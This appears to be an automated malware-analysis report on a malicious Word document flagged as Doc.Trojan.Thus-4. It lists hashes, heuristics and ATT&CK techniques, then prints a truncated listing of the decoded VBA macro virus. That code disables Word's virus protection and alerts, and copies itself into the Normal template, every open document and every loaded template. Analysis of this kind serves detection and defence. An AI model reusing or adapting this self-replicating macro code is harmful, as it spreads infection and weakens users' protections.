Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8be018ca294cb171…

MALICIOUS

Office (OLE)

46.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4bb4d87088221cf28f95a1b23f57a1a0 SHA-1: e232ac7a897ef9598620c9d38c641cecda7f3205 SHA-256: 8be018ca294cb171c6c28d8013a100933dde193f1bf41f2601dae7314c73fbfb
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a Document_Open macro, indicating an attempt to execute code when the document is opened. ClamAV detections identify this as 'Doc.Trojan.Thus-4', a known malware signature. The macro code appears designed to disable security features and potentially download further malicious content, though it is truncated.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-4
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42339 bytes
SHA-256: 0ed5d702569e4cecafad7e801840eaa84461c8f711ea7bd10d10f89619a64d1e
Detection
ClamAV: Doc.Trojan.Thus-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

'Thus_001'
'NIST_32a'
Private Declare Function CopyFile& Lib "kernel32" Alias "CopyFileA" (ByVal _
    lpExistingFileName As String, ByVal lpNewFileName As String, ByVal _
    bFailIfExists As Long)

Private Sub Document_Open()
Dim Res As String, x As String, k As Integer, Sd As Boolean, Nt As Boolean
    On Error Resume Next
2
    If Application.ShowVisualBasicEditor Then GoTo 2
With Application
    .EnableCancelKey = 0
    .ScreenUpdating = False
    .Options.VirusProtection = Chr(3696 / 7 / 11)
    .Options.ConfirmConversions = Chr(8976 / 11 / 17)
    .Options.SaveNormalPrompt = Chr(1872 / 3 / 13)
    .Options.SavePropertiesPrompt = Chr(9072 / 9 / 21)
    .DefaultSaveFormat = ""
    .DisplayAlerts = -1
    .DisplayStatusBar = Chr(48)
End With
         WordBasic.DisableAutoMacros 0
    If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
     NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    Nt = -1
    End If
         Randomize
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Left(Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
    Sd = Application.Documents.Item(k).Saved
    Application.Documents.Item(k).ReadOnlyRecommended = Chr(48)
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    If (Sd) And (Dir(Application.Documents.Item(k).FullName, 7) <> "") Then Application.Documents.Item(k).Save
    End If
    Next k
    For k = 1 To Application.Templates.Count
    If Left(Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
    Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Templates.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If Nt Then Exit Sub
Dpio
If ActiveDocument.SaveFormat < 2 Then
    If (ActiveDocument.Saved = False) And (ActiveDocument.ReadOnly = False) Then
       If Dir(ActiveDocument.FullName, 7) = "" Then
       ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, ReadOnlyRecommended:=0
       Else: ActiveDocument.Save
       End If
       ActiveDocument.Saved = False
    End If
Rcy ActiveDocument.FullName
End If
Asd
Res = Rdr(Chr(Int((Gds() * Rnd) + 1) + 66) & Chr(58) & Chr(92))
If Res <> "" Then x = Rfe(Res, "*.*")
If x <> "" Then Res = Res & x Else Res = ""
If Res <
... (truncated)

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